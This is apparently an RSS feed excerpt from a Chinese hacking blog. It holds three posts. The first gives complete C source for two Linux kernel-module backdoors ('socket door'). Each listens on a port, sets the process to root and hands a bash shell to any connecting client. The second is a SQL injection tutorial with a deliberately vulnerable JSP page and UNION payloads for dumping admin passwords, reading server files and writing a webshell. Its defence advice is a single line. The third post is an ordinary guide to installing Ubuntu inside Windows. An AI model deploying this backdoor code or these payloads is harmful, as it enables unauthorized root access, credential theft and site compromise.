&#92;<br/>&#123; &#92;<br/>long __res; &#92;<br/>__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " &#92;<br/>"int $0x80 ; pop %%ebx" &#92;<br/>: "=a" (__res) &#92;<br/>: "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), &#92;<br/>"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) &#92;<br/>: "memory"); &#92;<br/>my__syscall_return(type,__res); &#92;<br/>&#125;<br/><br/>Kshell.c<br/><br/>/*<br/>* kenel mode socket door v0.1<br/>*<br/>* by wzt http://www.xsec.org<br/>*/<br/><br/>#include <linux/types.h><br/>#include <linux/stddef.h><br/>#include <linux/unistd.h><br/>#include <linux/module.h><br/>#include <linux/version.h><br/>#include <linux/kernel.h><br/>#include <linux/string.h><br/>#include <linux/mm.h><br/>#include <linux/slab.h><br/>#include <linux/sched.h><br/>#include <linux/in.h><br/>#include <linux/skbuff.h><br/>#include <linux/ip.h><br/>#include <linux/netdevice.h><br/>#include <linux/dirent.h><br/>#include <linux/proc_fs.h><br/>#include <linux/errno.h><br/>#include <net/tcp.h><br/>#include <asm/processor.h><br/>#include <asm/uaccess.h><br/>#include <asm/unistd.h><br/>#include <asm/ioctls.h><br/>#include <asm/termbits.h><br/>#include "syscalls.h"<br/><br/>MODULE_LICENSE("GPL");<br/>MODULE_AUTHOR("wzt");<br/><br/>#define __NR_e_exit __NR_exit<br/><br/>#define SGID 0x489196ab<br/>#define HOME "/"<br/><br/>static char *earg[4] = &#123; "/bin/bash", "--noprofile", "--norc", NULL &#125;;<br/><br/>char *env[]=&#123;<br/>"TERM=linux",<br/>"HOME=" HOME,<br/>"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"<br/>":/usr/local/sbin",<br/>"HISTFILE=/dev/null",<br/>NULL &#125;;<br/><br/>static inline my_syscall0(pid_t, fork);<br/>static inline my_syscall0(long, pause);<br/>static inline my_syscall2(int, kill, pid_t, pid, int, sig);<br/>static inline my_syscall1(int, chdir, const char *, path);<br/>static inline my_syscall1(long, ssetmask, int, newmask);<br/>static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);<br/>static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);<br/>static inline my_syscall1(int, e_exit, int, exitcode);<br/>static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);<br/>static inline my_syscall1(int, close, int, fd);<br/>static inline my_syscall2(int, dup2, int, oldfd, int, newfd);<br/>static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);<br/>static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);<br/>static inline my_syscall3(int, execve, const char *, filename,<br/>const char **, argv, const char **, envp);<br/>static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,<br/>unsigned long, arg);<br/>static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,<br/>writefds, fd_set *, exceptfds, struct timeval *, timeout);<br/>static inline my_syscall2(unsigned long, signal, int, sig,<br/>__sighandler_t, handler);<br/><br/>/**<br/>* the code copy from adore-ng<br/>*/<br/>int wnps_atoi(const char *str)<br/>&#123;<br/>int ret = 0, mul = 1;<br/>const char *ptr;<br/><br/>for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)<br/>;<br/>ptr--;<br/>while (ptr >= str) &#123;<br/>if (*ptr < '0' &#124;&#124; *ptr > '9')<br/>break;<br/>ret += (*ptr - '0') * mul;<br/>mul *= 10;<br/>ptr--;<br/>&#125;<br/>return ret;<br/>&#125;<br/><br/>/**<br/>* in_aton - change str to ipv4 address.<br/>*<br/>* see net/core/utils.c<br/>*/<br/>__u32 wnps_in_aton(const char *str)<br/>&#123;<br/>unsigned long l;<br/>unsigned int val;<br/>int i;<br/><br/>l = 0;<br/>for (i = 0; i < 4; i++) &#123;<br/>l <<= 8;<br/>if (*str != '&#92;0') &#123;<br/>val = 0;<br/>while (*str != '&#92;0' && *str != '.') &#123;<br/>val *= 10;<br/>val += *str - '0';<br/>str++;<br/>&#125;<br/>l &#124;= val;<br/>if (*str != '&#92;0')<br/>str++;<br/>&#125;<br/>&#125;<br/><br/>return(htonl(l));<br/>&#125;<br/><br/>int k_listen(int port)<br/>&#123;<br/>struct task_struct *tsk = current;<br/>struct sockaddr_in serv_addr;<br/>struct sockaddr_in cli_addr;<br/>mm_segment_t old_fs;<br/>char buff[100];<br/><br/>unsigned long arg[3];<br/>int sock_fd, sock_id;<br/>int tmp_kid;<br/>int i, n, cli_len;<br/><br/>old_fs = get_fs();<br/><br/>tsk->uid = 0;<br/>tsk->euid = 0;<br/>tsk->gid = SGID;<br/>tsk->egid = 0;<br/><br/>/* create socket */<br/>arg[0] = AF_INET;<br/>arg[1] = SOCK_STREAM;<br/>arg[2] = 0;<br/><br/>set_fs(KERNEL_DS);<br/><br/>ssetmask(~0);<br/><br/>for (i=0; i < 4096; i++)<br/>close(i);<br/><br/>if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) &#123;<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("create socket ok.&#92;n");<br/><br/>/* bind address */<br/>memset((void *) &serv_addr, 0, sizeof(serv_addr));<br/><br/>serv_addr.sin_family = AF_INET;<br/>serv_addr.sin_port = htons(port);<br/>serv_addr.sin_addr.s_addr = 0;<br/><br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) &serv_addr;<br/>arg[2] = (unsigned long) sizeof(serv_addr);<br/><br/>if ((socketcall(SYS_BIND, arg)) == -1) &#123;<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("bind address ok.&#92;n");<br/><br/>/* begin listen */<br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) 255;<br/><br/>if ((socketcall(SYS_LISTEN, arg)) == -1) &#123;<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("listen on port %d&#92;n", port);<br/><br/>cli_len = sizeof(cli_addr);<br/>arg[0] = sock_fd;<br/>arg[1] = (unsigned long) &cli_addr;<br/>arg[2] = (unsigned long) &cli_len;<br/><br/>if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) &#123;<br/>printk("accept error.&#92;n");<br/><br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 0;<br/>&#125;<br/>printk("accept a client.&#92;n");<br/><br/>dup2(sock_id, 0);<br/>dup2(sock_id, 1);<br/>dup2(sock_id, 2);<br/><br/>execve(earg[0], (const char **) earg, (const char **) env);<br/><br/>close(sock_id);<br/>close(sock_fd);<br/>set_fs(old_fs);<br/><br/>return 1;<br/>&#125;<br/><br/>static int ksocket_init(void)<br/>&#123;<br/>printk("ksocket start.&#92;n");<br/><br/>k_listen(22);<br/>&#125;<br/><br/>static void ksocket_exit(void)<br/>&#123;<br/>printk("ksocket exit.&#92;n");<br/><br/>&#125;<br/><br/>module_init(ksocket_init);<br/>module_exit(ksocket_exit);<br/><br/>Kshell1.c<br/><br/>/*<br/>* kenel mode socket door v0.1<br/>*<br/>* by wzt http://www.xsec.org<br/>*/<br/><br/>#include <linux/module.h><br/>#include <linux/kernel.h><br/>#include <linux/socket.h><br/>#include <linux/net.h><br/>#include <linux/in.h><br/>#include <linux/fs.h><br/>#include <linux/file.h><br/>#include <linux/types.h><br/>#include <linux/errno.h><br/>#include <linux/string.h><br/>#include <linux/unistd.h><br/>#include <net/sock.h><br/>#include <asm/uaccess.h><br/>#include <asm/unistd.h><br/><br/>#include "syscalls.h"<br/><br/>#define port 8800<br/>#define LEN 256<br/><br/>MODULE_LICENSE("GPL");<br/>MODULE_AUTHOR("wzt");<br/><br/>#define SGID 0x489196ab<br/>#define HOME "/"<br/><br/>static char *earg[4] = &#123; "/bin/bash", "--noprofile", "--norc", NULL &#125;;<br/><br/>char *env[]=&#123;<br/>"TERM=linux",<br/>"HOME=" HOME,<br/>"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"<br/>":/usr/local/sbin",<br/>"HISTFILE=/dev/null",<br/>NULL &#125;;<br/><br/>static inline my_syscall2(int, dup2, int, oldfd, int, newfd);<br/>static inline my_syscall3(int, execve, const char *, filename,<br/>const char **, argv, const char **, envp);<br/><br/>int kshell(int sock_fd)<br/>&#123;<br/>struct task_struct *tsk = current;<br/>mm_segment_t old_fs;<br/><br/>old_fs = get_fs();<br/>set_fs(KERNEL_DS);<br/><br/>tsk->uid = 0;<br/>tsk->euid = 0;<br/>tsk->gid = SGID;<br/>tsk->egid = 0;<br/><br/>dup2(sock_fd, 0);<br/>dup2(sock_fd, 1);<br/>dup2(sock_fd, 2);<br/><br/>execve(earg[0], (const char **) earg, (const char **) env);<br/><br/>set_fs(old_fs);<br/><br/>return 1;<br/>&#125;<br/><br/>int k_listen(void)<br/>&#123;<br/>struct socket *sock,*newsock;<br/>struct sockaddr_in server;<br/>struct sockaddr client[128];<br/>char address[128];<br/>int sockfd, sockid, i,size = 0;<br/>int error = 0,len = sizeof(struct sockaddr);<br/><br/>//set_fs(KERNEL_DS);<br/><br/>error = sock_create(AF_INET,SOCK_STREAM,0,&sock);<br/>if (error < 0) &#123;<br/>printk("[-] socket_create failed: %d&#92;n",error);<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>sockfd = sock_map_fd(sock);<br/>if (sockfd < 0) &#123;<br/>printk("[-] sock_map_fd() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>for (i = 0; i < 8; i++)<br/>server.sin_zero[i] = 0;<br/><br/>server.sin_family = PF_INET;<br/>server.sin_addr.s_addr = INADDR_ANY;<br/>server.sin_port = htons(port);<br/><br/>error = security_socket_bind(sock,(struct sockaddr *)&server,len);<br/>if (!error) &#123;<br/>error = sock->ops->bind(sock,(struct sockaddr *)&server,len);<br/><br/>if (error < 0) &#123;<br/>printk("[-] unix_bind() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>&#125;<br/><br/>error = sock->ops->listen(sock,5);<br/>if (error < 0) &#123;<br/>printk("[-] unix_listen failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/>printk("[+] listen port %d ok.&#92;n",port);<br/><br/>if (!(newsock = sock_alloc())) &#123;<br/>printk("[-] sock_alloc() failed.&#92;n");<br/>sock_release(sock);<br/>return -1;<br/>&#125;<br/><br/>newsock->type = sock->type;<br/>newsock->ops = sock->ops;<br/><br/>printk("[+] waiting for a client.&#92;n");<br/><br/>if (newsock->ops->accept) &#123;<br/>error = security_socket_accept(sock,newsock);<br/>if (error < 0)<br/>goto out_release;<br/><br/>if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) &#123;<br/>printk("[-] accept got a signal.&#92;n");<br/>goto out_release;<br/>&#125;<br/>else if (error < 0) &#123;<br/>printk("[-] unix_accept failed.&#92;n");<br/>goto out_release;<br/>&#125;<br/><br/>if (newsock->ops->getname(newsock,client,&len,1) < 0)<br/>goto out_release;<br/><br/>security_socket_post_accept(sock,newsock);<br/><br/>sockid = sock_map_fd(newsock);<br/>if (sockid < 0) &#123;<br/>printk("[-] sock_map_fd() failed.&#92;n");<br/>sock_release(newsock);<br/>return -1;<br/>&#125;<br/><br/>printk("[+] accept a client.&#92;n");<br/><br/>kshell(sockid);<br/>&#125;<br/><br/>return 1;<br/><br/>out_release:<br/>sock_release(sock);<br/>sock_release(newsock);<br/><br/>return 0;<br/>&#125;<br/><br/>int k_socket_init(void)<br/>&#123;<br/>printk("[+] kernel socket test start.&#92;n");<br/><br/>k_listen();<br/>&#125;<br/><br/>void k_socket_exit(void)<br/>&#123;<br/>printk("[+] kernel socket test over.&#92;n");<br/>&#125;<br/><br/>module_init(k_socket_init);<br/>module_exit(k_socket_exit);
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/11/</link>
<title><![CDATA[MYSQL 注射精华]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[mysql]]></category>
<pubDate>Sun, 14 Sep 2008 07:59:45 +0000</pubDate> 
<guid>http://www.mefree.org/post/11/</guid> 
<description>
<![CDATA[ 
	from:www.xfocus.net<br /><br />1.MYSQL 注射的产生.<br />&nbsp;&nbsp;&nbsp;&nbsp;漏洞产生原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码.<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;咱们先创造一个没有过滤的程序. 因为我机器上没有PHP,所以我就是用 JAVA了,我会详细注释.<br /><br />代码<br />数据库:<br /><br />create database if not exists `test`;<br /><br />USE `test`;<br /><br />/*数据表 `account` 的表结构*/<br /><br />DROP TABLE IF EXISTS `account`;<br /><br />CREATE TABLE `account` (<br />&nbsp;&nbsp;`accountId` bigint(20) NOT NULL auto_increment,<br />&nbsp;&nbsp;`accountName` varchar(32) default NULL,<br />&nbsp;&nbsp;`accountPass` varchar(32) default NULL,<br />&nbsp;&nbsp;PRIMARY KEY&nbsp;&nbsp;(`accountId`)<br />) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br /><br />/*数据表 `account` 的数据*/<br /><br />insert into `account` values&nbsp;&nbsp;<br />(1,'account1','account1');<br /><br />/*数据表 `admin` 的表结构*/<br /><br />DROP TABLE IF EXISTS `admin`;<br /><br />CREATE TABLE `admin` (<br />&nbsp;&nbsp;`adminId` bigint(20) NOT NULL auto_increment,<br />&nbsp;&nbsp;`adminName` varchar(32) default NULL,<br />&nbsp;&nbsp;`adminPass` varchar(32) default NULL,<br />&nbsp;&nbsp;PRIMARY KEY&nbsp;&nbsp;(`adminId`)<br />) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br /><br />/*数据表 `admin` 的数据*/<br /><br />insert into `admin` values&nbsp;&nbsp;<br />(1,'admin','admin');<br /><br />:<br />程序:<br />&lt;%@ page language=&quot;java&quot; import=&quot;java.util.*,java.sql.*&quot; pageEncoding=&quot;utf-8&quot;%&gt;<br />&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt;<br />&lt;html&gt;<br />&nbsp;&nbsp;&lt;body&gt;<br />&lt;%<br />//连接MYSQL的字符串.<br />//jdbc:mysql://localhost:3306/test<br />//驱动:数据库://地址:端口/数据库名称<br />String mysqlConnection = &quot;jdbc:mysql://localhost:3306/test&quot;;<br /><br />//加载驱动&nbsp;&nbsp;com.mysql.jdbc.Driver 是JAVA与MYSQL 连接用的JDBC驱动<br />Class.forName(&quot;com.mysql.jdbc.Driver&quot;).newInstance(); <br /><br />//建立MYSQL链接 root是用户名 cx0321 是密码<br />Connection connection = DriverManager.getConnection(mysqlConnection, &quot;root&quot;, &quot;cx0321&quot;);<br /><br />//建立一个查询对象<br />Statement statment = connection.createStatement();<br /><br />//建立一个查询返回集合. 就是说查询完以后返回的数据全部都在这个里面.<br />ResultSet resultSet = null;<br /><br />//从account里面读取数据.<br />resultSet = statment.executeQuery(&quot;select * from account where accountId = '&quot;+ request.getParameter(&quot;id&quot;) +&quot;'&quot;);<br /><br />//循环,直到resultSet结束<br />while(resultSet.next())<br />&#123;<br />//从resultSet读取出值输出到页面.<br />&nbsp;&nbsp;&nbsp;&nbsp;out.print(resultSet.getInt(1)+&quot;&#124;&quot;);//取出第一列的值,因为是数字类型的所以是getInt();<br />&nbsp;&nbsp;&nbsp;&nbsp;out.print(resultSet.getString(2)+&quot;&#124;&quot;);//取出第二列的值,因为是字符串类型的所以是getString();<br />&nbsp;&nbsp;&nbsp;&nbsp;out.print(resultSet.getString(3)+&quot;&#124;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;out.print(&quot;&lt;br /&gt;&quot;);//页面输出换行<br />&#125;<br />%&gt;<br />&nbsp;&nbsp;&lt;/body&gt;<br />&lt;/html&gt;<br /><br />2.漏洞的利用<br /><br />(图1)<br />这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.<br />&nbsp;&nbsp;&nbsp;&nbsp;大家注意看resultSet = statment.executeQuery(&quot;select * from account where accountId = '&quot;+ request.getParameter(&quot;id&quot;) +&quot;'&quot;);<br />这里的request.getParameter(&quot;id&quot;) 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL语句就变成了select * from account where accountId = '1' 了.如果加以变换呢?<br /><br />2.1漏洞的检测<br />我们把id 写成mysqlInject.jsp?id=1' 那么SQL 语句就变成select * from account where accountId = '1'' 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含符号,比如&rsquo;和&rdquo;如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.<br /><br /><br /><br />那么我们可以继续来测验, mysqlInject.jsp?id=1' and ''=' 那么SQL语句就变成了select * from account where accountId = '1' and '' = '' ,应该返回正常.<br /><br /><br />有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第二是程序的语句和我写的不一样select * from account where accountId = 1' and ''='. 这个问题在下边会谈到.<br /><br /><br />2.2 Union查询猜此次查询列的数量<br />&nbsp;&nbsp;&nbsp;&nbsp;这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;如果懂SQL的人应该知道UNION查询吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;大家想想,如果要和本次查询值合并需要一个什么条件呢？需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该会想出这么才列数了吧?<br /><br />那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.<br />先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.<br />那么语句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 这样的.<br />有些人问为什么后边(绿色的部分)要加上and ''=' 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句select * from account where accountId = '1' 我们输入的是在1那个位置,所以要去除后边的',否则语句会报错的.<br />在本程序里也就是' 如果你要想消除' 有很多办法,为了让大家明白所以我现在使用and ''='.<br />先说一说有几种办法消除这个'<br />1.&nbsp;&nbsp;&nbsp;&nbsp;使用 and '' = ' 虽然不够方便,但是在复杂SQL语句里不会报错的.<br />2.&nbsp;&nbsp;&nbsp;&nbsp;使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.<br />有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.<br /><br />那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?id=1'/**/and/**/union/**/select/**/1/**/and/**/''/**/= /**/'/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这种东西来取代空格了.<br /><br />那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.<br /><br />那最后的/* 是什么呢? 那个是用来解决 SQL语句 包含符号没有成双成对的.<br /><br />我们开始测试.<br />mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*<br />select * from account where accountId = '1 '/**/union/**/select/**/1/*'.<br /><br /><br />注意到最低下那句话了吗?<br />javax.servlet.ServletException: The used SELECT statements have a different number of columns<br />大概意思是&rdquo;这个使用的查询列数不同&rdquo;,由此得出此次查询不是查询了一个表.<br /><br />以此类推, select 1&nbsp;&nbsp; select 1,2&nbsp;&nbsp; select 1,2,3&nbsp;&nbsp;知道正确位置,那么你现在说写的列数也就是本次查询的列数了.<br /><br /><br />大家看到地下返回 1&#124;2&#124;3&#124; ,这个值是从咱们的UNION查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4&#124;5&#124;6&#124; 了?<br /><br /><br />有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?<br />有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.<br />mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*<br />select * from account where accountId =1000'/**/union/**/select/**/4,5,6/* <br /><br />哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.<br />2.3 低几率另类猜此次查询列的数量<br />&nbsp;&nbsp;&nbsp;&nbsp;此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.<br />&nbsp;&nbsp;&nbsp;&nbsp;这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = '1' order by accountId 那么这个SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId = '1' order by 1 这样也就是按照第一列排序. <br />哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.<br />也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.<br />这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.<br /><br />2.4 使用UNION猜其他表,查询其他表<br />使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.<br />好,开始构造语句. 我们要猜看看有没有admin表.<br />mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*<br />SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.<br /><br /><br />大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.<br /><br />mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*<br />SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'<br /><br /><br />看到了吧?没有 helloworld 这个表.所以报错了.<br />&nbsp;&nbsp;&nbsp;&nbsp;又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.<br />&nbsp;&nbsp;&nbsp;&nbsp;现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.<br />mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*<br />SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;看见了吗? 1&#124;5&#124;6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部带入.<br /><br />mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*<br />SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;哈哈,出来了, 1&#124;admin&#124;admin&#124; 就是 adminid&#124;adminName&#124;adminPass&#124;<br />&nbsp;&nbsp;&nbsp;&nbsp;也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = &lsquo;admin&rsquo;,看个人的发挥了.<br />2.5&nbsp;&nbsp;&nbsp;&nbsp;使用MYSQL 系统函数.<br />2.5.1.1.1&nbsp;&nbsp;&nbsp;&nbsp;使用 load_file() 函数 显示文件.<br />&nbsp;&nbsp;Load_file 顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:&#92;boot.ini 文件的语句.<br />mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*<br />&nbsp;&nbsp;&nbsp;&nbsp;SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'<br />&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;看到了吗? C:&#92;boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:&#92;boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.<br />&nbsp;&nbsp;又问,为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.<br />&nbsp;&nbsp;通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决. 使用 subString 函数, subString(字符串,开始,返回).<br />&nbsp;&nbsp;假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三个字符,用于解决乱码是非常好的办法.<br />&nbsp;&nbsp;我近期会做一个这样个工具,将会公布在我的个人主页上.<br />2.5.1.1.2&nbsp;&nbsp;&nbsp;&nbsp;使用outfile 写WEBSHELL.<br />&nbsp;&nbsp;mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.<br />&nbsp;&nbsp;select &lsquo;hello word&rsquo; into outfile &lsquo;c:&#92;&#92;a.txt&rsquo; 这里是讲 &lsquo;hello word&rsquo; 输出到 c:&#92;a.txt<br />那么在网站也来构造一下.<br />mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:&#92;&#92;hello.txt'/*<br />&nbsp;&nbsp;&nbsp;&nbsp;SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/&rsquo;c:&#92;&#92;hello.txt&rsquo;/*'<br />&nbsp;&nbsp; 成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是多么恐怖啊&hellip;<br /><br />2.漏洞的防护和总结<br />&nbsp;&nbsp;通过过滤特殊关键字来防护.代码网站很多
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/10/</link>
<title><![CDATA[Windows中安装Ubuntu 8.04]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[ubuntu]]></category>
<pubDate>Sun, 24 Aug 2008 23:17:39 +0000</pubDate> 
<guid>http://www.mefree.org/post/10/</guid> 
<description>
<![CDATA[ 
	确保各分区根目录下没有 menu.lst 文件 和 ubuntu 文件夹，有的话请改名或删除，以免冲突 —— 这是 wubi 有待改进的地方 。&nbsp;&nbsp;<br/><br/>在 win xp 下，用虚拟光驱加载 ubuntu-8.04-desktop-i386.iso ，双击运行其中的 umenu.exe ，选择 install inside windows ，然后有几个参数需要设定：&nbsp;&nbsp;<br/><br/>★ ubuntu 安装分区：建议选择内置硬盘中的分区，而不要选U盘或移动硬盘，以保证更快的速度和更高的成功率。理论上不会影响硬盘上原有的文件，但我不能为您担保 ^_^ 。分区格式可以是 ntfs 或 fat32 ，两者各有优缺点 —— ntfs 支持更多高级特性，但它是微软私有的文件系统格式；fat32 适应性强，大多数操作系统都能读写，但特性比较落后，文件最大不能超过 4 GB。&nbsp;&nbsp;<br/>★ 安装大小：即磁盘映像的大小，如果你需要安装很多软件并且磁盘空间足够，可以选择大一些，反之可以选小些以方便移动。&nbsp;&nbsp;<br/>★ 语言、用户名及密码&nbsp;&nbsp;<br/><br/>此时需联网，因为有少量文件要从网上下载。&nbsp;&nbsp;<br/><br/>设好后点 安装 ，过一会将提示重启。这时可以看到，在您选择安装 ubuntu 的分区中，多了一个名为“ubuntu”的文件夹 —— 磁盘映像文件就在其中。&nbsp;&nbsp;<br/><br/>重启后选择 ubuntu ，即可启动安装程序。若不能正常启动，则在屏幕左上角出现“ Press `ESC’ to enter the menu ”时，按 esc 键，进入启动菜单，选择 第二项 或 第三项 或 第四项 试试。&nbsp;&nbsp;<br/><br/>安装过程是自动的，无需用户干涉。&nbsp;&nbsp;<br/><br/>装好后重启，选择 ubuntu ，即可进入刚装好的系统。
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/9/</link>
<title><![CDATA[bak]]></title> 
